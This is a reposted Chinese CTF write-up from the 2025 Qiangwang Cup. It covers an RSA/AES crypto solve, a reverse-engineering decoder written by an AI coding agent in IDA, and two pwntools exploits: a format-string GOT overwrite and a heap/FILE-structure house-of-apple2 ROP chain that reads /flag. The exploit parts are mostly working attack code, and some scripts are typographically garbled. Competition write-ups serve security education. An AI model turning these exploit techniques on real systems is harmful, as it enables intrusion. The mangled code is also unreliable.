用私钥恢复 key = c^d mod N,把 key 转成 bytes,取前 16 字节作为 AES-128 key(题目里用的是 long_to_bytes(key)[:16])。
用该 AES key + 给定 IV 解 CBC 密文并去填充,得到 flag。
得到的 flag
flag{m_m4y_6e_divIS1b1e_by_p?!}
可直接运行的 Python 脚本(复现上面步骤)
#!/usr/bin/env python3
from Crypto.Util.number import long_to_bytes, inverse
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import math
# 把你贴的值放到这里
N = 18795243691459931102679430418438577487182868999316355192329142792373332586982081116157618183340526639820832594356060100434223256500692328397325525717520080923556460823312550686675855168462443732972471029248411895298194999914208659844399140111591879226279321744653193556611846787451047972910648795242491084639500678558330667893360111323258122486680221135246164012614985963764584815966847653119900209852482555918436454431153882157632072409074334094233788430465032930223125694295658614266389920401471772802803071627375280742728932143483927710162457745102593163282789292008750587642545379046283071314559771249725541879213
c = 10533300439600777643268954021939765793377776034841545127500272060105769355397400380934565940944293911825384343828681859639313880125620499839918040578655561456321389174383085564588456624238888480505180939435564595727140532113029361282409382333574306251485795629774577583957179093609859781367901165327940565735323086825447814974110726030148323680609961403138324646232852291416574755593047121480956947869087939071823527722768175903469966103381291413103667682997447846635505884329254225027757330301667560501132286709888787328511645949099996122044170859558132933579900575094757359623257652088436229324185557055090878651740
iv = b'\x91\x16\x04\xb9\xf0RJ\xdd\xf7}\x8cW\xe7n\x81\x8d'
ciphertext = bytes.fromhex('bf87027bc63e69d3096365703a6d47b559e0364b1605092b6473ecde6babeff2')
# 1) 用 gcd 找出因子
g = math.gcd(c, N)
if g == 1 or g == N:
raise SystemExit("gcd(c,N) did not yield a nontrivial factor")
p = g
q = N // g
# 2) 计算私钥 d
phi = (p - 1) * (q - 1)
e = 3
d = inverse(e, phi)
# 3) 恢复 key
key_int = pow(c, d, N)
key_bytes = long_to_bytes(key_int)
# 4) 取前 16 字节作为 AES key,解 CBC 并去填充
aes_key = key_bytes[:16]
cipher = AES.new(aes_key, AES.MODE_CBC, iv)
pt = unpad(cipher.decrypt(ciphertext), 16)
print("flag =", pt.decode())
如果你想我把脚本的每一步输出(例如 p, q, key_int 的 hex/长度)也展示出来,或者希望我把分解过程、私钥 d、/ 或者中间值写清楚以便学习,我可以立刻把这些补上。
未选择任何文件未选择任何文件
ChatGPT 也可能会犯错。请核查重要信息。
re
butterfly
ai全自动:
# 逆向分析ctf题目流程与解密方法
_Exported on 10/19/2025 at 12:29:18 GMT+8 from Cursor (1.7.52)_
---
**User**
对ida打开的ctf 逆向题目进行逆向分析,给出程序流程和逆向解密方法
---
**Cursor**
I'll start by connecting to the open IDA database and gathering high-level context (entry points, imports, notable strings) to map the program flow and locate the decryption routine.
I'll query the active IDA session for the current database metadata, entry points, and an overview of imports and strings to quickly identify potential decryption logic.
I completed the initial connection and metadata gathering. Now I'll identify the `start` function's callees and check if a `main` symbol exists, while also scanning strings for clues like "encode" and "flag".
I'm going to decompile `main`, inspect its callees, and search strings for clues like "encode", "dat", and "flag" to locate the decryption logic and file handling.
I'll decompile the file I/O helpers and the filename formatter to confirm write behavior and key handling, then update the plan and produce a Python decoder script for `encode.dat`.
I found and decompiled `main`, mapped the encoding flow, and identified the MMX-based transformation and static key. I'll check off the analysis tasks and implement a Python decoder for `encode.dat`, then run it to recover the plaintext.
I’m going to add a small Python decoder script implementing the inverse MMX transform and then check off the remaining tasks.
python
!/usr/bin/env python3
import sys
from pathlib import Path
KEY_BYTES = b”MMXEncode2024″[:8] # First 8 bytes used by the encoder
def rotateright64(value: int, shiftbits: int) -> int:
shiftbits &= 63
return ((value >> shiftbits) | ((value & ((1 << shiftbits) – 1)) << (64 – shift_bits))) & 0xFFFFFFFFFFFFFFFF
def subtractkeymod256(cipherblock: bytes, keybytes: bytes) -> bytes:
return bytes((cb – kb) & 0xFF for cb, kb in zip(cipherblock, keybytes))
def swapbytesineachword(data8: bytes) -> bytes:
# Swap within each 16-bit lane: [b0,b1,b2,b3,b4,b5,b6,b7] -> [b1,b0,b3,b2,b5,b4,b7,b6]
mutable = bytearray(8)
for i in range(0, 8, 2):
mutable[i] = data8[i + 1]
mutable[i + 1] = data8[i]
return bytes(mutable)
def xorwithkey(plainortemp: bytes, keybytes: bytes) -> bytes:
return bytes(pb ^ kb for pb, kb in zip(plainortemp, keybytes))
def decodeblock(cipherblock: bytes) -> bytes:
# Inverse of: out = (ROTL64(swap16(x ^ k), 1) + k) mod 256
# Steps: t = (c – k) mod 256; y = ROTR64(t, 1); x = swap16(y); p = x ^ k
assert len(cipher_block) == 8
step1removedkey = subtractkeymod256(cipherblock, KEYBYTES)
rotinput = int.frombytes(step1removedkey, “little”)
rotoutput = rotateright64(rotinput, 1)
rotoutputbytes = rotoutput.tobytes(8, “little”)
swapped = swapbytesineachword(rotoutputbytes)
plainblock = xorwithkey(swapped, KEYBYTES)
return plain_block
def decodeall(ciphertext: bytes) -> bytes:
fullblockscount = len(ciphertext) // 8
decoded = bytearray()
for i in range(fullblockscount):
block = ciphertext[i * 8 : (i + 1) * 8]
decoded.extend(decodeblock(block))
# Any remaining tail bytes were not transformed by the encoder, copy as-is
decoded.extend(ciphertext[fullblockscount * 8 :])
return bytes(decoded)
def main() -> int:
if len(sys.argv) != 3:
print(f”Usage: {Path(sys.argv[0]).name}
print(f”Example: {Path(sys.argv[0]).name} encode.dat output.bin”)
return 1
inputpath = Path(sys.argv[1])
outputpath = Path(sys.argv[2])
data = inputpath.readbytes()
decoded = decodeall(data)
outputpath.writebytes(decoded)
print(f”Decoded {len(data)} bytes -> {len(decoded)} bytes: {outputpath}”)
return 0
if name == “main“:
sys.exit(main())
- I decompiled `main` and mapped the core flow. Next I wrote a decoder implementing the inverse transform.
程序流程概览
- 参数解析: 需要两个参数 `input_file` 和 `output_file`,否则打印用法并退出。
- 文件读取:
- 以二进制方式打开输入文件,获取文件大小 `size`。
- 分配 `size + 8` 字节缓冲,将整个文件读入,随后在缓冲尾写入一个 2 字节的长度字段 `*(WORD*)(buf + size) = size`。
- 编码核心:
- 常量键: 使用字符串 `MMXEncode2024` 的前 8 字节作为 64 位按字节的键。
- 对输入数据按 8 字节分块处理,使用 MMX 指令序列进行按块变换:
1) `x ^= key`(逐字节异或)
2) `swap16(x)`(每个 16-bit lane 内换位: 低字节/高字节互换)
3) `x = ROTL64(x, 1)`(整体 64 位左旋 1 位)
4) `x = (x + key) mod 256`(逐字节相加,模 256)
- 末尾可能不足 8 字节的尾部未进入循环(从循环边界判断),保持原样附在前面处理结果后。
- 写出文件:
- 将处理后的数据写到 `output_file`。
- 构造密钥文件名 `\"%s.key\" % output_file` 并尝试将 32 字节的某缓存写入该 `.key` 文件(与主逻辑无关,对解码不是必须)。
- 日志输出: 打印输入名、原始大小、编码输出路径与大小。
逆向解密方法
- 观察编码步骤,可逐字节与逐块还原,逆序执行:
- 编码: `out = (ROTL64(swap16(inp ^ key), 1) + key) mod 256`
- 解码: `t = (out - key) mod 256`;`y = ROTR64(t, 1)`;`x = swap16(y)`;`inp = x ^ key`
- 键值: 使用 `MMXEncode2024` 的前 8 字节(即 `b\"MMXEncod\"`)对每 8 字节块逐字节参与运算。
- 处理粒度: 对齐的 8 字节块进行逆变换;尾部不足 8 字节直接原样拷贝。
已提供的解码脚本
- 运行示例:
bash
python3 decode.py encode.dat decoded.bin
- 脚本实现了上述逆运算,对输入按 8 字节块处理,尾部直拷。
你现在可以用 `encode.dat` 跑脚本得到明文,再根据内容提取 flag(若文件即为明文文本,可直接打开 `decoded.bin` 查看)。如果需要,我可以补充自动识别尾部 2 字节长度字段并裁剪输出。
shellscript
python3 decode.py encode.dat decoded.bin
```

## pwn
### flag-market
输入oflag的时候用scanf存在溢出,因为在bss上,调试发现可以溢出到printf的格式化字符串,利用格式化字符串漏洞泄露在堆上的flag地址,并在后面输入的时候把fclose的got输进去,让程序在fclose的时候跳到start重新开始执行,再利用一次格式化字符串读取写在栈里的flag地址:
from pwn import *
context.log_level = ‘debug’
p = process(“./chall”)
p = remote(‘8.147.132.101’, 34896)
p = remote(“127.0.0.1”, 7125)
p.sendlineafter(b”exit\n”, b”1″)
p.sendlineafter(b”pay?\n”, b”255″)
p.sendlineafter(b”report:\n”, b’a’ 0x100 + b’%’ + str(0x1250-0xa).encode() + b’c’ + b’%9$p%12$hn’) # jmp to start
p.sendlineafter(b”exit\n”, b”1″)
p.sendlineafter(b”pay?\n”, p64(0x404030))
p.recvuntil(b”\x20\x00″)
flagaddr = int(p.recvuntil(b”welcome”, drop=True), 16) + 0x1e0
success(f”flagaddr: {hex(flagaddr)}”)
p.sendlineafter(b”exit\n”, b”1″)
p.sendlineafter(b”pay?\n”, b”255″)
p.sendlineafter(b”report:\n”, b’a’ 0x100 + b’%12$s’) # jmp to main
p.sendlineafter(b”exit\n”, b”1″)
pause()
p.sendlineafter(b”pay?\n”, p64(flagaddr))
p.interactive()

### bph
开头token可以拿来做泄露,然后add功能里的malloc没限制size,但是后面在`mov byte ptr [rdx+rax-1], 0`写了0,其中rax是可控的,rdx如果是很大的数字则会成为0,导致我们有了一个任意地址写0的能力,参考文章https://ctftime.org/writeup/38299,写在stdin里的\_IO\_buf\_base,进而通过stdin来实现任意地址写,通过写stdout(因为接下来就是puts的调用)来做house of apple2,找个gadget迁移一下rdx,然后setcontext做ROP。
from pwn import *
libc = ELF(“./libc.so.6”)
context.arch = ‘amd64’
p = process(“./chall”)
context.log_level = “debug”
p.sendlineafter(b”token: “, b”a” 0x27)
p.recvuntil(b”a” 0x27 + b’\n’)
libc.address = u64(p.recvuntil(b”\n”)[:-2].ljust(8, b”\x00″)) – libc.sym[‘free’] – 0x7e
success(f”libc.address: {hex(libc.address)}”)
p.sendlineafter(b”Choice: “, b”1”)
p.sendlineafter(b”Size: “, str(libc.address + 0x203918 + 1)) # stdin->IObuf_base
pause()
p.sendafter(b”Content: “, b”a” * 0x18 + p64(libc.sym[‘IO21stdout‘]) + p64(libc.sym[‘IO21stdout‘] + 0x500))
pause()
0x7ffff7e09fc0 <GIIOswitchtowgetmode+16>: mov rax,QWORD PTR [rdi+0xa0]
0x7ffff7e09fc7 <GIIOswitchtowgetmode+23>: mov rdx,QWORD PTR [rax+0x20]
0x7ffff7e09fcb <GIIOswitchtowgetmode+27>: cmp QWORD PTR [rax+0x18],rdx
0x7ffff7e09fcf <GIIOswitchtowgetmode+31>: jae 0x7ffff7e09ff0 <GIIOswitchtowgetmode+64>
0x7ffff7e09fd1 <GIIOswitchtowgetmode+33>: mov rax,QWORD PTR [rax+0xe0]
0x7ffff7e09fd8 <GIIOswitchtowgetmode+40>: mov esi,0xffffffff
0x7ffff7e09fdd <GIIOswitchtowgetmode+45>: call QWORD PTR [rax+0x18]
def houseofapple2(fakeIOfileaddr):
poprdiret = 0x000000000010f78b + libc.address
poprsiret = 0x0000000000110a7d + libc.address
poprdxret = 0x00000000000ab8a1 + libc.address # : pop rdx; or byte ptr [rcx – 0xa], al; ret;
poprcx_ret = 0x00000000000a877e + libc.address # : pop rcx; ret;
ret = 0x000000000011255a + libc.address
payload = flat(
{
0x00: 0,
0x08: 0, # IOread_ptr
0x10: 1, # _IOreadend
0x88: libc.address + 0x205710, # IOstdfile1lock
# 0xc0: 0x01,
0xd8: 0x2022d0 + libc.address – 0x18, # fp->_vtable = _IOwfileunderflowmmap
0xa0: fakeIOfileaddr + 0x100,
0x100: {
0x00: 1,
0x08: 0,
0x20: fakeIOfileaddr + 0x300, # ropchian
0xe0: fakeIOfileaddr + 0x200,
},
0x200: {
0x18: libc.sym[‘setcontext’] + 61,
0x68: libc.address + 0x8afc0,
},
0x300: {
0x100: [
poprdiret,
fakeIOfileaddr + 0x300 + 0x88,
poprsiret,
0,
poprcxret,
fakeIOfileaddr + 0x200,
poprdxret,
0,
libc.sym[‘open’],
poprdiret,
3,
poprsiret,
fakeIOfileaddr + 0x300 + 0x88,
poprcxret,
fakeIOfileaddr + 0x200,
poprdxret,
100,
libc.sym[‘read’],
poprdiret,
1,
poprsiret,
fakeIOfileaddr + 0x300 + 0x88,
poprcxret,
fakeIOfileaddr + 0x200,
poprdxret,
100,
libc.sym[‘write’],
poprdiret,
],
0x88: b’/flag’,
0x98: fakeIOfileaddr + 0x200,
0xa0: fakeIOfileaddr + 0x400,
0xa8: ret,
}
}, filler=’\0′
)
return payload
p.send(houseofapple2(libc.sym[‘IO21stdout_’]))
p.interactive()
“`
#
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:BeFun安全实验室 毕方安全实验室《2025 强网杯 部分题解》